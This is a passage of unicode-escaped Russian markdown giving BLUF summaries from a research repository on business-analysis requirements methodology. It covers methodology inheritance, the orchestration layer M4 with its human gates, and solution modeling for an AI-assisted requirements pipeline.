ADR). BA-\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u0435\u043d 1 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0425\u0430\u0431\u0430 \u0438\u0437 26.\\n3. **\u041d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432\u0432\u0435\u0440\u0445, \u0430 \u043d\u0435 \u0432\u043d\u0438\u0437.** Mango\\n   \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0425\u0430\u0431 81 \u0440\u0430\u0437, \u0425\u0430\u0431 \u043d\u0430 Mango \u2014 31. \u0421\u043f\u0438\u0446\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 *\u0444\u043e\u0440\u043c\u0443* \u043e\u0442 \u0425\u0430\u0431\u0430,\\n   \u043d\u043e *\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043d\u043e\u0440\u043c\u0443* \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0441\u0430\u043c\u0430, \u0438 \u0425\u0430\u0431 \u0435\u0451 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442.\\n4. **\u0423 `clarify-engine-ai` \u0437\u043d\u0430\u043d\u0438\u0435 \u0435\u0441\u0442\u044c, \u0430 \u043a\u0430\u043d\u0430\u043b\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0442.** \u0421\u0441\u044b\u043b\u043e\u043a \u0441\\n   \u0425\u0430\u0431\u043e\u043c \u0438 Mango \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 (1 \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0440\u0435\u0431\u0440\u043e, 0 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445, 53\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0435\u0437 frontmatter), \u043d\u043e \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0434\u0430\u0451\u0442\\n   **8 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e** (\u0430\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f,\\n   decoding-lock, \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0446\u0438\u0442\u0430\u0442\u044b, \u0442\u0440\u0430\u0441\u0441\u0430 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441,\\n   \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u0430\u043a-\u0433\u0435\u0439\u0442) \u0438 \u0435\u0449\u0451 9 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e \u0441\u043c\u0435\u0436\u043d\u044b\u0445; \u0432\u043d\u0435\\n   \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043e\u0441\u0442\u0430\u043b\u0441\u044f\\n   [`docs/CONCEPT.md`](https://github.com/G-Ivan-A/clarify-engine-ai/blob/main/docs/CONCEPT.md)\\n   \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043f\u043e\u0438\u043c\u0451\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u043a \u0441\u043b\u043e\u044e `L0`.\\n   \u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430: \u00a75.3\\n   [\u0437\u0430\u043c\u0435\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md).\\n5. **\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0440\u0435\u0448\u0430\u044e\u0449\u0435\u0433\u043e \u0437\u0430\u0434\u0430\u0447\u0443 \u043a\u0430\u0440\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n   \u043d\u0435\u0442.** \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u2014\\n   [RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0411\u0410](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md)\\n   \u2014 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 `M0`\u2013`M4`, \u043d\u043e \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **\u0433\u0434\u0435 \u043c\u044b \u0441\u0435\u0439\u0447\u0430\u0441**;\\n   \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/20-taxonomy.md), \u00a71.\\n6. **\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430.** Governance-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e\\n   \u043a\u0430\u043a **\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442**: \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u0438\\n   \u0418\u0422-\u0422\u0435\u043b\u0435\u043a\u043e\u043c \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a \u041c\u0430\u043d\u0433\u043e. Execution-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0445\u0440\u0430\u043d\u0438\u0442 **\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439**\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439) \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2014 `SKILL.md`, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0434\u0435\u043b\u044c\u0442\u044b \u0443\u0436\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u044b.\\n7. **\u0410\u0433\u0435\u043d\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0434\u0435\u043b\u044c\u0442\u0443 \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435.** \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442 \u2014 \u0448\u0430\u0433\\n   \u0441\u0431\u043e\u0440\u043a\u0438 \u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u0430 \u043d\u0435 \u0448\u0430\u0433 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u2014\\n   [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/10-theory.md).\\n8. **\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e \u0433\u0435\u0439\u0442\u0430\u0445: \u043d\u0438 \u0442\u043e, \u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435.**\\n   \u0421\u0443\u0431\u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u0441 \u0418\u0418-self-check, \u043d\u043e self-check \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e\\n   \u043a\u043b\u0430\u0441\u0441 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432; \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n   \u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 Mango: \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\u043e\u0433\u043e\u0432\u043e\u0440\u043e\u0447\u043d\u044b\u0439 `success` \u2014 2; \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0435\\n   RUN-0018 \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0435\u0444\u0435\u043a\u0442,\\n   \u0434\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0434\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0432\\n   [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/30-decision-framework.md).\\n9. **\u041e\u0441\u044c \u00ab\u0421\u0440\u0435\u0434\u0430\u00bb \u0438 \u043e\u0441\u044c \u00ab\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f\u00bb \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b \u0438 \u043e\u0431\u0435 \u043d\u0443\u0436\u043d\u044b.**\\n   [RFC \u043e\u0441\u0438 \u00ab\u0421\u0440\u0435\u0434\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-09-04-rfc-bootstrap-environment-and-structure.md)\\n   \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u00ab\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439\u00bb, \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u00ab\u043a\u0430\u043a\u043e\u0435\\n   \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f\u00bb. \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u043c\\n   \u0441\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u043c, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f.\\n10. **\u0420\u043e\u0430\u0434\u043c\u0430\u043f \u043a\u0430\u0441\u043a\u0430\u0434\u0430 \u2014 15 \u0437\u0430\u0434\u0430\u0447 `B-121`\u2026`B-135`** \u0432 \u0442\u0440\u0451\u0445 \u044d\u0442\u0430\u043f\u0430\u0445 \u0441 \u0434\u0432\u0443\u043c\u044f\\n    \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u0438 \u0434\u0432\u0443\u043c\u044f \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u0432\u043d\u0435 \u044d\u0442\u0430\u043f\u043e\u0432 (`B-134`, `B-135`); \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n    [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md),\\n    \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\\n    [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/50-open-research.md).\\n    **\u041c\u0435\u0440\u0436 PR \u043f\u043e issue #557 = \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0440\u043e\u0430\u0434\u043c\u0430\u043f\u0430** (\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430).\\n\\n=== orchestration\\n## BLUF\\n\\n1. `M4` \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0438 \u0437\u0430\u0434\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0440\u0435\u0448\u0430\u044e\u0442:\\n   **\u043a\u0430\u043a\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0443, \u0441 \u043a\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\u044e \u0438 \u043a\u0442\u043e\\n   \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f**.\\n2. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438: \u0448\u0435\u0441\u0442\u044c \u043e\u0441\u0435\u0439 `A1`\u2013`A6` \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f\\n   \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 `HG-0` \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u043c \u043b\u0438\u0441\u0442\u043e\u043c `C-RK`.\\n3. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 \u2014 \u043d\u0435 \u043f\u043b\u0430\u043d, \u0430 **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e**: \u043e\u043d \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043a\u0442\u043e \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u0434\u043e \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n4. \u041e\u0441\u0438 \u043d\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 `C1`\u2013`C6` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\\n   `F1`\u2013`F6` RFC \u0434\u0435\u043b\u0430\u044e\u0442 \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0439 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0439; \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0438\u0445\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n5. \u041f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0430 \u043d\u0435 \u0441\u0431\u043e\u0439; \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f\\n   \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u0440\u0435\u0436\u0438\u043c `manual-stepwise` \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0441\u0441\u0438\u044f\u043c\u0438.\\n6. \u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u044f\u0432\u043d\u043e: \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430\\n   \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (`stepwise` 10, `oneshot` 9, `legacy` 5) \u0438 \u0448\u0435\u0441\u0442\u044c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u2014 \u043d\u043e\\n   \u0432\u044b\u0431\u043e\u0440 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n7. `HG-8` \u2014 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b: \u043f\u0440\u0430\u0432\u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c, \u043d\u0435 \u0434\u043e\u0432\u043e\u0434\u044f \u0434\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438,\\n   \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u044f\u0432\u043d\u044b\u043c, \u0438\u043d\u0430\u0447\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u043d\u0430\u0447\u0430\u0442\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c\u0441\u044f.\\n8. `M4` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0438\u0434\u0438\u0442 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u043c\u0435\u043d\u043d\u043e\\n   \u043e\u043d \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 `M3` \u0434\u0430\u043d\u043d\u044b\u0435 `ME-3`.\\n\\n=== solution-modeling\\n## BLUF\\n\\n1. **\u042f\u0434\u0440\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 \u044d\u0442\u043e \u043e\u0431\u044a\u0435\u043a\u0442, \u0430 \u043d\u0435 \u0441\u0442\u0430\u0434\u0438\u044f.** `M1` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n   `C-CORE`: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435, \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435, \u0430\u0434\u0440\u0435\u0441\u0443\u0435\u043c\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n   \u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0442\u0435\u043c **\u043f\u043e\u0440\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f** \u043b\u044e\u0431\u044b\u0435 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b.\\n   \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u2014\\n   [\u00a72 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/10-theory.md#2-\u044f\u0434\u0440\u043e-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439-\u043a\u0430\u043a-\u043e\u0431\u044a\u0435\u043a\u0442).\\n2. **\u0412 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043d\u0435\u0442.** \u0417\u0430\u043c\u0435\u0440 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432: \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u043c\u0430\u0440\u043a\u0435\u0440\\n   \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 2 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0438\u0437 57, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c 40 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u044b\u0434\u0430\u044e\u0442\\n   \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0435\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432 \u0443\u0436\u0435 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f, \u043d\u043e **\u0438\u0437\\n   \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0430 \u043d\u0435 \u0438\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430**\\n   ([\u043e\u0442\u0447\u0451\u0442 \u0437\u0430\u043c\u0435\u0440\u0430, \u00a73](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md#3-\u0444\u0430\u043a\u0442\u044b-\u043f\u043e\u0434-m1-\u044f\u0434\u0440\u043e-\u0438-\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435)).\\n   \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 `M2` \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u043b\u043e\u0432\u0438\u0442\u044c\\n   \u043f\u043e\u0441\u0442\u0444\u0430\u043a\u0442\u0443\u043c.\\n3. **\u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u2260 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.** \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f \u0440\u0430\u0437\u0432\u043e\u0434\u0438\u0442\\n   \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f (BABOK Strategy Analysis vs\\n   RADD; ISO/IEC/IEEE 29148 StRS vs SyRS/SRS). \u0420\u0430\u0437\u0431\u043e\u0440 \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/10-theory.md#1-conceptual-framing-\u0447\u0442\u043e-\u0442\u0430\u043a\u043e\u0435-\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435-\u0440\u0435\u0448\u0435\u043d\u0438\u044f).\\n4. **\u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 `M1` 